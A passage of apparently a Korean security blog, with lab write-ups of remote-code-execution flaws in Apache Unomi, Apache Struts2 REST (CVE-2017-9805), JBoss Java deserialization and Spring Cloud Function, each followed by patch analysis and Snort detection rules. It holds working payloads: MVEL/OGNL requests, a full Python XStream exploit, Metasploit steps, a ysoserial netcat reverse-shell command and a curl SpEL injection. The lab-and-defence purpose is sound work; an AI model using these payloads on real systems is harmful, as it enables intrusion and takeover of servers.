⒝ 요청 내 X-Cmd-Response 문자열 존재 여부

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-26134

- https://github.com/vulhub/vulhub

- https://github.com/h3v0x/CVE-2022-26134/blob/main/exploit.py

https://blog.alyac.co.kr/4772

https://doosil87.github.io/devops/2019/09/01/Jiraandconfluence.html

https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

- https://confluence.curvc.com/pages/releaseview.action?pageId=101553124

https://www.akamai.com/ko/blog/security-research/atlassian-confluence-vulnerability-observations

1. Apache Unomi

- Apache Unomi는 고객 및 방문자 등의 데이터를 관리하고, 개인정보 규범들(ex: GDPR)을 준수하며, 고객의 경험을 개인화 하는 자바 오픈소스 고객데이터플랫폼(CDP- Customer Data Platform)

 

| Main Page

Apache Unomi™: The Open Source Customer Data Platform Apache Unomi™ (pronounced "You know me") is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors data and help personalize customers experiences

unomi.apache.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2020-13942

- 취약한 버전의 Apache Unomi를 사용하면 /context.json을 통해 MVEL 및 OGNL 표현식을 사용하여 Unomi 애플리케이션 권한으로 원격 코드 실행이 가능

- 해당 취약점은 Unomi 1.5.1에서 부분적으로 패치가 되었음

취약한 버전 : Apache Unomi < 1.5.2

 

2.1 취약점 실습

* https://unomi.apache.org/tutorial.html를 참조해 직접 설치하려 했으나 karaf 실행 후 멈춤 현상이 발생하여 도커 사용

 

- 취약 서버 구동 후 정상 접근 확인

git clone https://github.com/vulhub/vulhub
cd /​vulhub/unomi/CVE-2020-13942
docker-compose up -d

 

[사진 2] 취약 서버 구동(위) 및 정상 접근 확인(아래)

2.1.1 MVEL 표현식

MVEL 표현식 (MVLEX Expression Language)
- 자바 플랫폼을 위한 동적/정적 유형의 임베디드 가능한 표현 언어이자 런타임

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 MVEL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/MVELTest\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

 

[사진 3] 조작된 요청 전송 및 200 응답

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 4] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 MVLETest 파일이 생성

[사진 5] MVELTest 파일 생성

2.2.2 OGNL 표현식

OGNL (Object Graph Navigation Language)
- 자바 언어가 지원하는 범위보다 더 단순한 식을 사용하면서 속성을 가져와 설정하는 것을 허용하고 자바 클래스의 메소드를 실행하는 오픈 소스 표현식 언어(EL)

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 OGNL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/OGNLTest\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
}

 

[사진 6] 조작된 요청 전송 및 200 응닶 확인

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 OGNLTest 파일이 생성

[사진 8] OGNLTest 파일 생성

 

2.2 분석

- [사진 9]는 CVE-2020-11975(Unomi OGNL 표현식 RCE)에 적용된 패치

- OGNL 표현식에 대해서는 허용/차단 목록을 통해 실행을 제한하였지만, MVEL 표현식은 적용되지 않음_[사진 1] Unomi 1.5.1 부분 패치 적용

- MVEL 표현식에 대한 실행 제한은 Unomi 1.5.2부터 적용된 것으로 판단됨.

[사진 9] CVE-2020-11975에 대한 패치

3. 대응방안

3.1 서버측면

① 최신 버전 또는 1.5.2 버전으로 즉시 업데이트 적용

- 1.5 이전 버전은 OGNL 및 MVEL 표현식에의한 RCE 가능

- 1.5.1 버전은 MVEL 표현식에 의한 RCE 가능

 

3.2 네트워크 측면

 탐지 룰 적용 및 모니터링, 차단

- PoC를 통해 POST 메소드를 통한 /context.json URL 요청이 확인되므로 해당 문자열을 탐지

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2020-13942
https://github.com/eugenebmx/CVE-2020-13942
https://github.com/vulhub/vulhub
https://sysdig.com/blog/cve-2020-13942-uomi/
https://unomi.apache.org/security/cve-2020-13942.txt

1.Apache Struts2

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. CVE-2017-9805

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2017-9805

- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점

취약한 버전
- Apache Struts 2.1.2~2.3.33
- Apache Struts 2.5~2.5.12

 

3. 취약점 분석

3.1 실습

- 취약한 서버 구동 및 IP 확인

[사진 2] 취약 서버 구동 및 IP 확인

 

- Nmap을 통해 실행 중인 서비스와 버전 식별

- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)

nmap -A 192.168.56.113

 

[사진 3] Nmap 수행 결과

 

- Nmap 수행 결과를 통해 /orders.xhtml 접속

[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)

 

- Metasploit을 통한 공격 수행

$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream 
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit

 

- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인

[사진 5] option 적용 확인

 

- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능

[사진 6] exploit 성공

 

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 7] 와이어샤크

 

3.2 분석

- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원

- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재

① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33)
② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행)
③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45)
XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53)
- 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조

 

[사진 8] 취약한 버전의 XStreamHandler.java

- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행

- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달

[사진 9] 취약한 버전의 ContentTypeHandler.java

 

3.3 PoC 분석

- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달

- POST 메소드 요청Content-Type': 'application/xml'로 변경

- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])

 

4. 대응

4.1 서버 측면

① 업데이트 수행

- 취약점 패치 버전 : Apache Struts 2.5.13, Apache Struts 2.3.34

- ContentTypeHandler이 바로 상속되지 않고 AbstractContentTypeHandler 를 거치도록 패치

- 이를 이용하여 XstreamHandler로 처리되는 입력 값에 대한 기록을 남김

[사진 10] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- REST 플러그인의 XStreamHandler에 AbstractContentTypeHandler, AllowedClasses, AllowedClassNames, XStreamPermissionProvider를 추가(허용 여부 검증)

- createXStream()을 통해 안전하지 않은 입력값 실행에 대한 설정을 추가

[사진 11] Apache Struts 2.5.13 XStreamHandler.java 일부

 

- 입력값을 전달하는 toObject를 처리하는 ContentTypeInterceptor.java에서 invocation 값이 추가로 전달

[사진 12] Apache Struts 2.5.13 ContentTypeInterceptor.java 취약(위) 및 패치(아래)

 

- 업데이트가 불가하거나 어려울 경우 플러그인을 서버 일반 페이지 및 JSON으로만 제한

- [사진 7]에서 xml을 제외

[사진 13] struts-plugin.xml

<constant name="struts.action.extension" value="xhtml,,json" />

 

② REST 플러그인 비활성화

- 해당 플러그인을 사용하지 않을 경우 비활성화 또는 제거

 

4.2 네트워크 측면

① 탐지 룰 생성

- 공개된 PoC에 따라 공격자는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달

- 해당 문자열을 탐지할 수 있는 Snort Rule 등을 생성하여 탐지 및 차단

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (ProcessBuilder)"; flow:to_server,established; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024663; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin XStream RCE (Runtime.Exec)"; flow:to_server,established; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:".exec"; distance:0; http_client_body; content:"<command"; nocase; distance:0; http_client_body; pcre:"/<command[\s>]/si"; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024664; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_06, deployment Perimeter, former_category EXPLOIT, performance_impact Low, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 1"; flow:to_server,established; content:"POST"; http_method; content:"eXNvc2VyaWFsL"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024668; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 2"; flow:to_server,established; content:"POST"; http_method; content:"lzb3NlcmlhbC"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024669; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin ysoserial Usage (B64) 3"; flow:to_server,established; content:"POST"; http_method; content:"5c29zZXJpYWwv"; http_client_body; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024670; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 4"; flow:to_server,established; content:"POST"; http_method; content:"|79 76 36 36 76|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024671; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 5"; flow:to_server,established; content:"POST"; http_method; content:"|72 2b 75 72|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024672; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (B64) 6"; flow:to_server,established; content:"POST"; http_method; content:"|4b 2f 72 71 2b|"; http_client_body; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024673; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (Runtime.Exec)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.Runtime"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024674; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"ET EXPLOIT Apache Struts 2 REST Plugin (ProcessBuilder)"; flow:to_server,established; content:"POST"; http_method; content:"java.lang.ProcessBuilder"; nocase; http_client_body; fast_pattern; content:"/struts2-rest-showcase/orders/3"; http_uri; reference:cve,2017-9805; reference:url,lgtm.com/blog/apache_struts_CVE-2017-9805_announcement; classtype:attempted-user; sid:2024675; rev:1; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_09_07, deployment Datacenter, former_category EXPLOIT, signature_severity Critical, updated_at 2020_08_12;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN struts-pwn User-Agent"; flow:established,to_server; content:"User-Agent|3a 20|struts-pwn"; http_header; fast_pattern; reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py; reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_16, deployment Datacenter, former_category SCAN, performance_impact Moderate, signature_severity Minor, updated_at 2022_04_18;)

 

5. 참고

https://nvd.nist.gov/vuln/detail/cve-2017-9805

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26667 

http://rules.emergingthreats.net/open/snort-2.9.0/emerging-all.rules

https://archive.apache.org/dist/struts/binaries/

https://archive.apache.org/dist/struts/2.5.13/

https://cwiki.apache.org/confluence/display/WW/S2-052

https://blogs.quickheal.com/cve-2017-9805-apache-struts-2-remote-code-execution-vulnerability-quick-heal-security-labs/

https://pentesterlab.com/exercises/s2-052/course

1. 역직렬화(Deserialization)

- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.

- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.

- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.

- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization), 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.

[사진 1] 직렬화 및 역직렬화

- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점

 

2. 취약점 실습

- 역직렬화에 취약한 웹 페이지 접속

[사진 2] 취약한 JBoss

- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인

- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크

* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문

[사진 3] 필터 설정

- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음

[사진 4] Content-Type

- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인

- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트

[사진 5] aced0005

- ysoserial을 이용해 해당 취약점을 공격할 수 있음

ysoserial
- URL : https://github.com/frohoff/ysoserial
- 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구
- Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음

[사진 6] ysoserial

 

- 공격자는 nc 명령 실행 후 대기

[사진 7] 터미널 생성

 

- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성

- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문

$ java -jar <다운로드한 ysoserial 파일> CommonsCollections1 "nc <공격자 IP> 4000 -e /bin/bash" > reverse.bin

[사진 8] 공격용 파일 reverse.bin 생성

 

-  /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입

[사진 9] reverse.bin 파일 삽입

- 이후 요청을 전송하면 리버스쉘이 생성됨.

[사진 10] 리버스쉘 생성

 

3. 대응방안

① 아파치 CommonsCollections  패키지를 최신버전으로 업데이트
- 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 
- 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을

- 항상 최신 버전으로 유지하는 것을 권장

 

② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요
- 역직렬화 전에 반드시 인증 과정을 수행
- 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음
- 직렬화된 객체에 디지털   서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검
- 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행

 

③ 직렬화 데이터 탐지

- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용

alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)

1. 스프링 클라우드 (Spring Cloud)

-  분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구

- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크

 

1.1 SpEL(Spring Expression Language)

- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}

 

2. CVE-2022-22963 

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)

취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡

결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능

 

2.1 공격원리

- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행

[사진 2] 공격 원리

 

2.2 취약점 상세

- 취약 서버 구동

git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public

[사진 3] 취약 서버 구동

- 취약한 버전의 Spring Cloud Function 확인

[사진 4] Spring Cloud Function Version 3.1.6

- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음

[사진 5] 루트 디렉터리

- PoC 수행

curl -X POST  http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v

[사진 6] PoC 수행

 

- 결과 확인

[사진 7] /tmp/pwned 파일 생성

- 와이어샤크 확인 시 500 응답값이 확인

- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음

[사진 8] 와이어샤크

3. 대응방안

3.1 서버 측면

① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용

- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3

- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가

[사진 9] 보안 패치

- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인

[사진 10] Spring Cloud Function 버전 확인

- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)

 

② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참조

- https://hub.docker.com/r/dockerbucket/cve-2022-22963

- https://sysdig.com/blog/cve-2022-22963-spring-cloud/

- https://nvd.nist.gov/vuln/detail/CVE-2022-22963

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0xOCZzb3J0X2NvZGU9JnNvcnRfY29kZV9uYW1lPSZzZWFyY2hfc29ydD10aXRsZV9uYW1lJnNlYXJjaF93b3JkPQ==

+ Recent posts